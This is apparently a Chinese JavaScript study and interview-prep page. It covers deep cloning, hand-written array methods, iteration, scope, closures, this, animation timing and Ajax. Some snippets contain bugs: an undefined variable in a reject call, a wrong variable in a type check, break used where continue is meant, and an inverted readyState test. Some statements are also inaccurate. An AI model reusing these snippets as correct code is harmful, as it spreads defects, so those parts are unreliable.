      var obj1 = {a: {age: 20}, b: {age: 25}}
      var obj2 = Object.assign({}, obj1)
      obj1.c = {age: 30}
      console.log(obj1, obj2) // {a: {age: 20}, b: {age: 25}, c: {age: 30}}、{a: {age: 20}, b: {age: 25}}
      // 结论:
    • 以上的方法都是当数组内部为基本类型时为深拷贝,为引用类型是为浅拷贝

    • JSON.parse(JSON.stringify()); 但无法复制内部的函数

    • 热门库 lodash 提供了一个 _.cloneDeep 的方法;

    • jQuery 提供了一个 $.extend(true, {}, {}), 默认是浅拷贝(第一个参数不传),第一个传输传true为深拷贝;

    • 利用 MessageChannel 的序列号和反序列化实现深拷贝

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      // 注意:当消息包含函数、Symbol等不可序列化的值时,就会报无法克隆的DOM异常
      function deepClone (obj) {
      return new Promise((resolve, reject) => {
      try {
      const { port1, port2 } = new MessageChannel()
      port2.onmessage = function (e) {
      resolve(e.data)
      }
      port1.postMessage(obj)
      } catch (error) {
      reject(e)
      }
      })
      }
      const oldObj = { a: { b: 1 } };
      deepClone(oldObj).then((newObj) => {
      console.log(oldObj === newObj); // false
      newObj.a.b = 2;
      console.log(oldObj.a.b); // 1
      });
    • 手写递归方法

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      // 实现深度克隆--只考虑对象/数组
      function deepClone(target){
      let result = Array.isArray(target) ? [] : {};

      // 数组和对象的typeof 都是object(此处巧妙使用了typeof,也可以使用Object.prototype.toString.call(target).slice(8, -1)来取到类型Object或Array)
      if (target && typeof target === 'object') {

      // 遍历目标数据(for...in可以遍历对象和数组,后例会介绍其用法)
      // target为数组时,i表示索引;为对象时,i表示key
      for (let i in target) {

      // 只处理自有属性
      if (!target.hasOwnProperty(i)) break;

      // 判断目标结构中的每一项是否存在对象/数组,决定是否需要递归下去
      if (target[i] && typeof target[i] === 'object') {
      result[i] = deepClone(target[i]); // 子属性仍是对象或数组,则递归执行
      } else {
      result[i] = target[i]; // 不需要递归,value已经能是基本的数据类型
      }
      }
      }

      return result;
      }

      // 测试:
      var A = {
      a: 1,
      b: {c: 2},
      }
      var B = deepClone(A);

      A.b.c = 22;

      console.log(A); // {a: 1, b: {c: 22}}
      console.log(B); // {a: 1, b: {c: 2}}
    • 手写递归方法(考虑含有循环引用)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      function deepClone(obj) {
      let vistedMap = new Map()
      function baseClone(target) {
      if (!(target !== null && typeof obj === 'object')) return target

      if(vistedMap.get(target)) return vistedMap.get(target)
      let result = Array.isArray(target) ? [] : {}
      vistedMap.set(target, result)

      const keys = Object.keys(target);
      for(let i = 0, len = keys.length; i < len; i++) {
      result[keys[i]] = baseClone(target[keys[i]])
      }
      return result
      }
      return baseClone(obj)
      }

js实现map、forEach、filter、reduce高阶函数

js实现map方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
arr.map(function(item, index, self) {
console.log(item, index, self);
return 'xxx'
}, thisArg); // 参数2可选,表示执行 callback 函数时使用的this 值



// 参数是一个回调函数,返回值是一个Array,不需要关心内部处理
Array.prototype.newMap = function(fn, context) {
// this指向的就是调用者arr

if (typeof fn !== "function") {
throw new TypeError(`${fn} is not a function`);
}

context = Object(context) || global; // 严格模式下,context 为 null 或 undefined 时 Object(context) 返回空对象,不会被赋值为global
var newArr = [];
 for(var i = 0; i < this.length; i++) {
  newArr.push(fn.call(context, this[i], i, this));
 }
return newArr;
}

js实现forEach方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
arr.forEach(function(item, index, self) {
console.log(item, index, self);
}, thisArg); // 参数2可选,表示执行 callback 函数时使用的this 值



// 参数是一个回调函数,返回值是一个Array,不需要关心内部处理
Array.prototype.newForEach = function(fn, context) {
// this指向的就是调用者arr

if (typeof fn !== "function") {
throw new TypeError(`${fn} is not a function`);
}

context = Object(context) || global; // 严格模式下,context 为 null 或 undefined 时 Object(context) 返回空对象,不会被赋值为global
 for(var i = 0; i < this.length; i++) {
  fn.call(context, this[i], i, this);
 }
}

js实现filter方法(基本同map)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
arr.filter(function(item, index, self) {
console.log(item, index, self);
return true
}, thisArg);


Array.prototype.newFilter = function (fn, context) {
// this指向的就是调用者arr
if (typeof fn !== 'function') {
throw new TypeError(`${fn} is not a function`);
}

context = Object(context) || global; // 严格模式下,context 为 null 或 undefined 时 Object(context) 返回空对象,不会被赋值为global

var leftArr = []
for (let i = 0; i < this.length; i++) {
if (fn.call(context, this[i], i, this)) {
leftArr.push(this[i])
}
}
return leftArr
}

js实现reduce方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
arr.reduce(function(prev, cur, index, arr){
console.log(prev, cur, index, arr);
}[, initialValue]);


Array.prototype.newReduce = function (fn, initialValue) {
// this指向的就是调用者arr

if (typeof fn !== "function") {
throw new TypeError(`${fn} is not a function`);
}

let account = initialValue || this[0];
const startIndex = initialValue ? 0 : 1

for (let i = startIndex; i < this.length; i++) {
account = fn(account, this[i], i, this);
}
return account;
}

forEach 和 map的区别

相同点:

  • 都是循环遍历数组中的每一项
  • 每次执行匿名函数都支持三个参数,参数分别为item(当前每一项),index(索引值),arr(原数组)
  • 匿名函数中的 this 都是指向 window
  • 只能遍历数组
  • 都没有break跳出循环,当想跳出循环可以使用every 和 some方法,参照下例

不同点

  • map方法返回一个新的数组,数组中的元素为原始数组调用函数处理后的值,map方法不会改变原始数组
  • map方法不会对空数组进行检测
  • foreach方法没有返回一个新数组&没有返回值,即处理的是数组本身
  • foreach方法会对空数组进行检测

map、forEach、every、some、$.each、for…in、es6 for…of等用法

map

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
const arr = [
{
id: 1,
num: 10,
},
{
id: 2,
num: 20,
},
{
id: 3,
num: 30,
}
];
// map()方法返回一个新数组,数组中的元素为原始数组元素调用函数处理后的值。
//
// 注意事项:
// 1、map方法内容应该有一个return语句
// 2、原数组不会被修改
// 3、不会进行空数组检测
// 4、那些已删除或者未初始化的项将被跳过(例如在稀疏数组上,稀疏数组如 new Array(10))

// 场景1:收集所有的id
const arr1 = arr.map((item, index, self) => {
// return item.id; // 收集value值 [1, 2, 3]
return {id: item.id}; // 收集键值对 [{id: 1}, {id: 2}, {id: 3}]
});
console.log(arr1);

// 场景2:将arr每一项中的num乘以2
const arr2 = arr.map((item, index, self) => {
return item.num * 2;
});
console.log(arr2); // [20, 40, 60]

// 场景3:往arr每一项中新增一个name字段,并赋初始值 小明
const arr3 = arr.map((item, index, self) => {
return $.extend(item, {
name: '小明'
});
});
console.log(arr3); // [{id:1, num:10, name:'小明'}, ...]

// 场景4,一步操作,同时满足2和3
const arr4 = arr.map((item, index, self) => {
return $.extend(item, {
num: item.num * 2,
name: '小明'
});
});
console.log(arr4); // [{id:1, num:20, name:'小明'}, ...]

forEach

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
let arr = [
{
id: 1,
num: 10,
},
{
id: 2,
num: 20,
},
{
id: 3,
num: 30,
}
];
// forEach()方法用于调用数组的每个元素,并将元素传递给回调函数。
//
// 注意事项:
// 1、原数组会被修改
// 2、会进行空数组检测
// 3、那些已删除或者未初始化的项将被跳过(例如在稀疏数组上,稀疏数组如 new Array(10))
// 4、如果数组在迭代时被修改了,则其他元素会被跳过。如果迭代时删除第二项,则原本的第三项会补到第二项,此时第三项会被跳过

// 场景1:收集所有的id
let newArr = [];
const arr1 = arr.forEach((item, index, self) => {
newArr.push(item.id); // 收集value值 [1, 2, 3]
newArr.push({id: item.id}); // 手机键值对 [{id: 1}, {id: 2}, {id: 3}]
});
console.log(newArr);

// 场景2:将arr每一项中的num乘以2
arr.forEach((item, index, self) => {
item.num = item.num * 2;
});
console.log(arr); // [{id:1, num:20}, ...]

// 场景3:往arr每一项中新增一个name字段,并赋初始值 小明
arr.forEach((item, index, self) => {
item = $.extend(item, {
name: '小明'
});
});
console.log(arr3); // [{id:1, num:10, name:'小明'}, ...]

// 场景4,一步操作,同时满足2和3
arr.forEach((item, index, self) => {
item = $.extend(item, {
num: item.num * 2,
name: '小明'
});
});
console.log(arr4); // [{id:1, num:20, name:'小明'}, ...]

every

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
let arr = [
{
id: 1,
num: 10,
},
{
id: 2,
num: 20,
},
{
id: 3,
num: 30,
}
];
// every()方法用于检测数组所有元素是否都符合指定条件
// 如果数组中检测到有一个元素不满足,则整个表达式返回 false ,且剩余的元素不会再进行检测。
// 如果所有元素都满足条件,则返回 true

// 场景1:检测arr中是否所有的项的num都为10
arr.every((item, index, self) => {
return item.num === 10;
}); // false

// 场景2:使用return false 来跳出循环
arr.every((item, index, self) => {
if (item.num > 10) {
return false; // 跳出循环
} else {
console.log(item.num)// 10
return true;
}
});

some

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
let arr = [
{
id: 1,
num: 10,
},
{
id: 2,
num: 20,
},
{
id: 3,
num: 30,
}
];
// some()方法方法用于检测数组中的元素是否满足指定条件
// 如果有一个元素满足条件,则表达式返回true , 剩余的元素不会再执行检测。
// 如果没有满足条件的元素,则返回false

// 场景1:检测arr中是否所有的项的num都为10
arr.some((item, index, self) => {
return item.num === 10;
}); // true

// 场景2:使用return true 来跳出循环
arr.some((item, index, self) => {
if (item.num > 20) {
console.log(item.num); // 10、20
return false;
} else {
return true; // 跳出循环
}
});

$.each

$.each()是对数组,json和dom结构等的遍历

  1. 遍历list

    1
    2
    3
    4
    5
    6
    7
    8
    var arr = [100, 200, 300];
    $.each(arr, (index, item) => {
    console.log(index, item);
    });

    // 0 100
    // 1 200
    // 2 300
  2. 遍历map

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    var obj = {
    a: 100,
    b: 200,
    c: 300
    };
    $.each(obj, (key, value) => {
    console.log(key, value)
    });

    // a 100
    // b 200
    // c 300
  3. 遍历list map

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    var listMap = [
    {
    id: 1,
    name: '小明'
    },
    {
    id: 2,
    name: '小红'
    },
    {
    id: 3,
    name: '小白'
    }
    ];
    $.each(listMap, (index, item) => {
    console.log('outer each:', index, item);
    $.each(item, (key, value) => {
    console.log('inner each:', key, value);
    });
    });

    // outer each: 0 {id: 1, name: "小明"}
    // inner each: id 1
    // inner each: name 小明
    // outer each: 1 {id: 2, name: "小红"}
    // inner each: id 2
    // inner each: name 小红
    // outer each: 2 {id: 3, name: "小白"}
    // inner each: id 3
    // inner each: name 小白
  4. 遍历dom

    1
    2
    3
    4
    <input name="aaa" type="hidden" value="111" />
    <input name="bbb" type="hidden" value="222" />
    <input name="ccc" type="hidden" value="333" />
    <input name="ddd" type="hidden" value="444" />
    1
    2
    3
    4
    5
    6
    7
    8
    $.each($("[type='hidden']"), (index, element) => {
    console.log(index, element.item, element.value);
    });

    // 0 aaa 111
    // 1 bbb 222
    // 2 ccc 333
    // 3 ddd 444
  5. jquery dom 遍历

    1
    $(selector).each(function (index, element) {});

    这种写法常在遍历 Dom 的时候出现。

for…in

for…in 语句用于遍历数组或者对象的属性(对数组或者对象的属性进行循环操作)
for…in 语句取到的是list、string的索引 或 map的key

  1. 遍历list

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    var list = [10, 20, 30, 40, 50];
    for (let i in list) {
    console.log(i, list[i]);
    }

    // 0 10
    // 1 20
    // 2 30
    // 3 40
    // 4 50
  2. 遍历string

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    var str = 'abcde';
    for (let i in str) {
    console.log(i, str[i]);
    }

    // 0 a
    // 1 b
    // 2 c
    // 3 d
    // 4 e
  3. 遍历map

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    var map = {
    a: 100,
    b: 200,
    c: 300
    }

    for (let key in map) {
    console.log(key, map[key]);
    }

    // a 100
    // b 200
    // c 300
  4. 遍历list map

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    var listMap = [
    {
    id: 1,
    name: '小明'
    },
    {
    id: 2,
    name: '小红'
    },
    {
    id: 3,
    name: '小白'
    }
    ];

    for (i in listMap) {
    console.log(i, listMap[i]);
    }

    // 0 {id: 1, name: "小明"}
    // 1 {id: 2, name: "小红"}
    // 2 {id: 3, name: "小白"}

es6 for…of

for…of 语句不能对象使用
for…of 语句取到的是list、string的值或map的value,类似于forEach语句
内部支持break、continue
部署了Symbol.iterator遍历器的都可以使用for…of,如Array、String、Map、Set、NodeList、typeArray等

  1. 遍历list

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    var list = [10, 20, 30, 40, 50];
    for (let i of list) {
    console.log(i, list[i]);
    }

    // 10 undefined
    // 20 undefined
    // 30 undefined
    // 40 undefined
    // 50 undefined
  2. 遍历string

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    var str = 'abcde';
    for (let value of str) {
    if (value === 'c') break;
    console.log(value);
    }
    // a
    // b


    var str = 'abcde';
    for (let value of str) {
    if (value === 'c') continue;
    console.log(value);
    }
    // a
    // c
    // d
    // e
  3. 如何让for…of支持map

    • es6 遍历器map set 方法
      详见阮一峰 Iterator遍历器

    • 转换数组法
      虽然 for…of 语句不能直接作用在 map 上,但是我们可以使用某些方法将 map 转成数组后再处理,如:

      1
      2
      3
      4
      5
      6
      7
      var map = {
      a: 100,
      b: 200,
      c: 300
      };
      console.log(Object.keys); // ['a', 'b', 'c']
      console.log(Object.values); // [100, 200, 300]

高阶函数

高阶函数是指至少满足下列条件之一的函数:

  1. 函数可以作为参数被传递
  2. 函数可以作为返回值输出

常见的高阶函数:mapfilterreducesortforEachsomeevery


作用域与闭包

作用域

作用域是指程序源代码中定义变量的区域,一段程序代码中所用到的变量并不总是有效的,而限定这个变量的可用性的代码范围就是这个变量的作用域。

在JavaScript中使用的作用域是静态作用域(词法作用域),变量的作用域在变量定义时确认,而不是执行时确认。

在JavaScript中,作用域分为全局作用域和函数作用域。
ES5: 全局作用域、函数作用域
ES6: 新增块级作用域

  • 全局作用域
    代码在任何地方都可以被访问,window对象的内置对象都拥有全局作用域。

    • 最外层函数和在最外层函数外面定义的变量拥有全局作用域

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      var outVariable = "我是最外层变量"; // 最外层变量
      function outFun() { // 最外层函数
      var inVariable = "内层变量";
      function innerFun() { // 内层函数
      console.log(inVariable);
      }
      innerFun();
      }
      console.log(outVariable); // 我是最外层变量
      outFun(); // 内层变量
      console.log(inVariable); // inVariable is not defined
      innerFun(); // innerFun is not defined
    • 所有末定义直接赋值的变量自动声明为拥有全局作用域

      1
      2
      3
      4
      5
      6
      7
      function outFun2() {
      variable = "未定义直接赋值的变量";
      var inVariable2 = "内层变量2";
      }
      outFun2(); // 要先执行这个函数,否则根本不知道里面是啥
      console.log(variable); // 未定义直接赋值的变量
      console.log(inVariable2); // inVariable2 is not defined
    • 所有 window 对象的属性拥有全局作用域

      1
      2
      3
      4
      window.name
      window.location
      window.Math
      // ...
  • 函数作用域
    在固定的代码片段中才能被访问。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    function doSomething(){
    var blogName = "浪里行舟";
    function innerSay(){
    alert(blogName);
    }
    innerSay();
    }
    alert(blogName); //脚本错误
    innerSay(); //脚本错误
  • 块级作用域
    使用let、const关键创建块级作用域.
    在函数内部或代码块中创建

  1. 作用域有上下级关系,上下级关系具体看函数在哪个作用域下创建的。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    var a = 10;
    var b = 20;
    function fn () {
    var a = 100;
    var c = 200
    function fn2 () {
    var a = 1000;
    var d = 2000;
    }
    }

    // “fn作用域” 是 “fn2作用域” 的上级
  2. 作用域的用处:隔离变量,不同作用域下的同名变量不会有冲突。

  3. 作用域是分层的,内层作用域可以访问外层作用域的变量,反之则不行。

    最后输出的结果为 2, 4, 12
    泡泡 1 是全局作用域,有标识符 foo;
    泡泡 2 是函数作用域 foo,有标识符 a,bar,b;
    泡泡 3 是函数作用域 bar,仅有标识符 c。

  4. 块语句,如if、switch、for等不像函数,不会创建新的作用域。块语句中定义的变量将保留在它们已经存在的作用域中

    1
    2
    3
    4
    5
    if (true) {
    // 'if' 条件语句块不会创建一个新的作用域
    var name = 'Hammad'; // name 依然在全局作用域中
    }
    console.log(name); // logs 'Hammad'

作用域链

  1. 自由变量:当前作用域中没有定义的变量

    1
    2
    3
    4
    5
    6
    7
    var a = 100
    function fn() {
    var b = 200
    console.log(a) // 这里的a在这里就是一个自由变量
    console.log(b)
    }
    fn()
  2. 自由变量使用时如何查找呢?向父级作用域(创建这个函数的那个域)查找,父级没有,再一层一层向上查找,直到window对象。这种一层一层的关系就叫做作用域链。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    var a = 100
    function F1() {
    var b = 200
    function F2() {
    var c = 300
    console.log(a) // 自由变量,顺着作用域链向父作用域找
    console.log(b) // 自由变量,顺着作用域链向父作用域找
    console.log(c) // 本作用域的变量
    }
    F2()
    }
    F1()
  3. 自由变量的取值

    1
    2
    3
    4
    5
    6
    7
    8
    9
    var x = 10
    function fn() {
    console.log(x)
    }
    function show(f) {
    var x = 20
    f() // 10,而不是20
    }
    show(fn)

    问:在 fn 函数中,取自由变量 x 的值时,要到哪个作用域中取?
    答:要到创建 fn 函数的那个作用域中取,无论 fn 函数将在哪里调用。

执行上下文

  1. 范围:一段 <script> 或 一个函数
  2. 全局:变量定义、函数声明
  3. 函数:变量定义、函数声明、thisarguments
1
2
3
4
5
6
7
8
9
10
11
12
// 后面的 var a 实际上会在此处先生成一段 var a = undefined;
console.log(a); // undefined
var a = 100;


fn('zhangsan'); // zhangsan 18
function fn(name) {
// 后面的 var age 实际上会提前执行,先在此处生成一段 var age = undefined;
age = 18;
console.log(name, age);
var age;
}
1
2
3
4
5
// 函数声明
function fn1() {}

// 函数表达式
var fn2 = function() {}

变量、函数声明默认会提前(变量提升),函数表示式不会提前。在函数内部的变量、函数同样也会提前。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
fn1(); // 此处调用,可以正常执行
function fn1() {}
fn1(); // 此处调用,也可以正常执行。


fn2(); // 放在前面执行会报错
var fn2 = function() {}
fn2(); // 对于函数表达式,应该放在后面执行

// fn2() 放在前面执行的流程如下:
// 在顶部会生成一个 var fn2 = undefined;
var fn2 = undefined;
fn2(); // 执行相当于执行undefined,所以会报错
fn2 = function() {}

this

this 要在执行时才能确认值,定义时无法确认值

1
2
3
4
5
6
7
8
9
10
11
12
var a = {
name: 'A',
fn: function() {
console.log(this.name);
}
}

a.fn(); // this === a
a.fn.call({name: 'B'}); // this === {name: 'B'}

var fn1 = a.fn;
fn1(); // this === window

闭包

  1. 函数作为返回值

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    function F1() {
    var a = 100;

    // 返回一个函数,函数作为返回值
    return function () {
    console.log(a); // a是自由变量,父作用域(申明时的作用域,而不是执行时的作用域)的查找
    }
    }

    var f1 = F1();
    var a = 200;
    f1(); // 100
  2. 函数作为参数传递

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    function F1() {
    var a = 100;

    // 返回一个函数,函数作为返回值
    return function () {
    console.log(a); // a是自由变量,父作用域的查找
    }
    }

    var f1 = F1();

    function F2(fn) {
    var a = 200;
    fn(); // 100;
    }
    F2(f1); // 将 f1 作为参数传给 F2

注意:var a = new Fn()this 永远为 a,优先级最高,其次是 applycallbind这类方法改变this,然后是 obj.foo() 这种指向调用者,最后是直接调用 foo()。同时,箭头函数的 this 一旦被绑定,就不会再被任何方式所改变。

具体看下面的流程图:

面试题:变量提升

定义变量、函数时,会默认提到当前作用域的最前面

面试题:this的作用

  1. 作为构造函数执行
  2. 作为对象属性执行
  3. 作为普通函数执行
  4. call apply bind

面试题:创建10个a标签,点击的时候弹出序号

常规的思路(错误):

1
2
3
4
5
6
7
8
9
10
var i, a;
for (i = 0; i < 10; i++) {
a = document.createElement('a');
a.innerHTML = i + '<br>';
a.addEventListener('click', function (e) {
e.preventDefault();
alert(i);
});
document.body.appendChild(a);
}

解析:绑定的事件是在后续的时候执行的,因为 i 是一个自由变量,依托的是全局作用域,此时 i 早已变成 10了,所以无论点击哪一个弹出来的都是10

正确写法(使用自执行函数):

1
2
3
4
5
6
7
8
9
10
11
12
var i;
for (i = 0; i < 10; i++) {
(function (i) {
var a = document.createElement('a');
a.innerHTML = i + '<br>';
a.addEventListener('click', function (e) {
e.preventDefault();
alert(i);
});
document.body.appendChild(a);
})(i);
}

解析:使用一个自执行函数,将 i 从全局作用域变成了函数作用域,达到输出当前 i 的目的。

面试题:如何理解作用域

  1. 自由变量(函数内的变量是函数作用域,函数外的变量是全局作用域)
  2. 作用域链,即自由变量如何查找
  3. 闭包的2个使用场景

面试题:实际开发中闭包的使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 闭包在实际应用中主要用于封装变量、收敛权限
function isFirstLoad(id) {
var _list = []; // 变量_list被封装了,在外部无法获取到该变量
return function (id) { // 使用函数将id的作用域变成函数作用域
if (_list.indexOf(id) > -1) {
return false;
} else {
_list.push(id);
return true;
}
}
}

var firstLoad = isFirstLoad();
firstLoad(10); // true;
firstLoad(10); // false
firstLoad(20); // true

闭包

什么是闭包

简单的说,Javascript允许使用内部函数(即函数定义和函数表达式位于另一个函数的函数体内)访问它们所在的外部函数中声明的所有局部变量、参数和声明的其他内部函数。当其中一个这样的内部函数在包含它们的外部函数之外被调用时,就会形成闭包。

案例

  • Demo1

    1
    2
    3
    4
    5
    6
    7
    8
    9
    func(1)(2) = 3
    func(3)(5) = 8
    由上例推导函数主体

    function func(num1) {
    return function func(num2) {
    return num1 + num2
    }
    }
  • Demo2

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    // 设置移动端基准字号
    function makeSizer(size) {
    return function() {
    document.body.style.fontSize = size + 'px';
    };
    }

    var size12 = makeSizer(12);
    var size14 = makeSizer(14);
    var size16 = makeSizer(16);

    // 比如设置按钮点击时调用
    document.getElementById('size-12').onclick = size12;
    document.getElementById('size-14').onclick = size14;
    document.getElementById('size-16').onclick = size16;

常见用途

  • 匿名自执行函数
    我们知道所有的变量,如果不加上var关键字,则默认的会添加到全局对象的属性上去,这样的临时变量加入全局对象有很多坏处,
    比如:别的函数可能误用这些变量;造成全局对象过于庞大,影响访问速度(因为变量的取值是需要从原型链上遍历的)。
    除了每次使用变量都是用var关键字外,我们在实际情况下经常遇到这样一种情况,即有的函数只需要执行一次,其内部变量无需维护,
    比如UI的初始化,那么我们可以使用闭包:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    var data= {    
    table : [],
    tree : {}
    };

    (function(dm){
    for(var i = 0; i < dm.table.rows; i++){
    var row = dm.table.rows[i];
    for(var j = 0; j < row.cells; i++){
    drawCell(i, j);
    }
    }
    })(data);

    我们创建了一个匿名的函数,并立即执行它,由于外部无法引用它内部的变量,因此在函数执行完后会立刻释放资源,关键是不污染全局对象。

  • 结果缓存
    我们开发中会碰到很多情况,设想我们有一个处理过程很耗时的函数对象,每次调用都会花费很长时间,
    那么我们就需要将计算出来的值存储起来,当调用这个函数的时候,首先在缓存中查找,如果找不到,则进行计算,然后更新缓存并返回值,如果找到了,直接返回查找到的值即可。闭包正是可以做到这一点,因为它不会释放外部的引用,从而函数内部的值可以得以保留。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    var CachedSearchBox = (function() {    
    var cache = {},
    count = [];
    return {
    attachSearchBox: function(dsid) {
    if(dsid in cache){//如果结果在缓存中
    return cache[dsid];//直接返回缓存中的对象
    }
    var fsb = new uikit.webctrl.SearchBox(dsid);//新建
    cache[dsid] = fsb;//更新缓存
    if(count.length > 100){//保正缓存的大小<=100
    delete cache[count.shift()];
    }
    return fsb;
    },

    clearSearchBox: function(dsid) {
    if(dsid in cache){
    cache[dsid].clearSelection();
    }
    }
    };
    })();

    CachedSearchBox.attachSearchBox("input");

    这样我们在第二次调用的时候,就会从缓存中读取到该对象。

  • 封装代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    var person = function() {    
    //变量作用域为函数内部,外部无法访问
    var name = "default";

    return {
    getName: function() {
    return name;
    },
    setName: function(newName) {
    name = newName;
    }
    }
    }();

    print(person.name);//直接访问,结果为undefined
    print(person.getName());
    person.setName("abruzzi");
    print(person.getName());


    得到结果如下:
    // undefined
    // default
    // abruzzi
  • 实现类和继承

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    function Person(){    
    var name = "default";
    return {
    getName: function() {
    return name;
    },
    setName: function(newName) {
    name = newName;
    }
    }
    };

    var p = new Person();
    p.setName("Tom");
    alert(p.getName()); // Tom

    var Jack = function(){};
    //继承自Person
    Jack.prototype = new Person();
    //添加私有方法
    Jack.prototype.Say = function(){
    alert("Hello,my name is Jack");
    };

    var j = new Jack();
    j.setName("Jack");
    j.Say();
    alert(j.getName());

    我们定义了Person,它就像一个类,我们new一个Person对象,访问它的方法。
    下面我们定义了Jack,继承Person,并添加自己的方法。

闭包优缺点

  1. 优点

    • 缓存
    • 面向对象中的对象
    • 实现封装,防止变量跑到外层作用域中,发生命名冲突
    • 匿名自执行函数,匿名自执行函数可以减小内存消耗
  2. 缺点

    • 内存消耗
      通常来说,函数的活动对象会随着执行期上下文一起销毁,但是,由于闭包引用另外一个函数的活动对象,因此这个活动对象无法被销毁,这意味着,闭包比一般的函数需要更多的内存消耗。

    • 性能问题
      使用闭包时,会涉及到跨作用域访问,每次访问都会导致性能损失。
      因此在脚本中,最好小心使用闭包,它同时会涉及到内存和速度问题。不过我们可以通过把跨作用域变量存储在局部变量中,然后直接访问局部变量,来减轻对执行速度的影响。


实现一个持续的动画

css animation

1
2
3
4
5
6
7
8
9
10
11
@keyframes ani{
from {
top: 0;
}
to{
top: 200px;
}
}
div{
animation: ani 5s linear infinite;
}

js

1
// 使用requestAnimationFrame

requestAnimationFrame和setTimeout区别

图像在屏幕上更新的速度(频率),也即屏幕上的图像每秒钟出现的次数,它的单位是赫兹(Hz)。对于一般笔记本电脑,这个频率大概是60Hz。

setTimeout 其实就是通过设置一个间隔时间来不断的改变图像的位置,从而达到动画效果的。但我们会发现,利用seTimeout实现的动画在某些低端机上会出现卡顿、抖动的现象。

setTimeout 的执行步调和屏幕的刷新步调不一致,从而引起丢帧现象 setTimeout 的执行只是在内存中对图像属性进行改变,这个变化必须要等到屏幕下次刷新时才会被更新到屏幕上。如果两者的步调不一致,就可能会导致中间某一帧的操作被跨越过去,而直接更新下一帧的图像。假设屏幕每隔16.7ms刷新一次,而setTimeout每隔10ms设置图像向左移动1px。

requestAnimationFrame 最大的优势是由系统来决定回调函数的执行时机。具体一点讲,如果屏幕刷新率是60Hz,那么回调函数就每16.7ms(1000/60)被执行一次,如果刷新率是75Hz,那么这个时间间隔就变成了1000/75=13.3ms,换句话说就是,requestAnimationFrame 的步伐跟着系统的刷新步伐走,这样就不会引起丢帧现象,也不会导致动画出现卡顿的问题。

1
2
3
4
5
6
7
8
9
10
11
12
var progress = 0;
//回调函数
function render() {
progress += 1; //修改图像的位置

if (progress < 100) {
//在动画没有结束前,递归渲染
window.requestAnimationFrame(render);
}
}
//第一帧渲染
window.requestAnimationFrame(render);

通信

同源策略

  1. Cookie、LocalStorage、IndexDB无法读取
  2. 前端跨域的几种解决办法
  3. AJAX 请求不能发送

前后端如何通信

  1. Ajax
  2. Websocket
  3. CORS

如何创建Ajax

  1. XMLHttpRequest对象工作流程
  2. 兼容性处理
  3. 事件触发条件
  4. 事件触发顺序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
let xhr = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject("Microsoft.XMLHTTP");

// 请求成功回调函数
xhr.onload = e => {
console.log('request success');
};
// 请求结束
xhr.onloadend = e => {
console.log('request loadend');
};
// 请求出错
xhr.onerror = e => {
console.log('request error');
};
// 请求超时
xhr.ontimeout = e => {
console.log('request timeout');
};
// 请求回调函数
xhr.onreadystatechange = () => {
if (xhr.readyState !== 4) {
if (xhr.status === 200) {
console.log('request success');
} else {
console.log('request error');
}
}
};

xhr.timeout = 0; // 设置超时时间,0表示永不超时
// 初始化请求
xhr.open('GET/POST/DELETE/...', '/url', true || false);
// 设置期望的返回数据类型 'json' 'text' 'document' ...
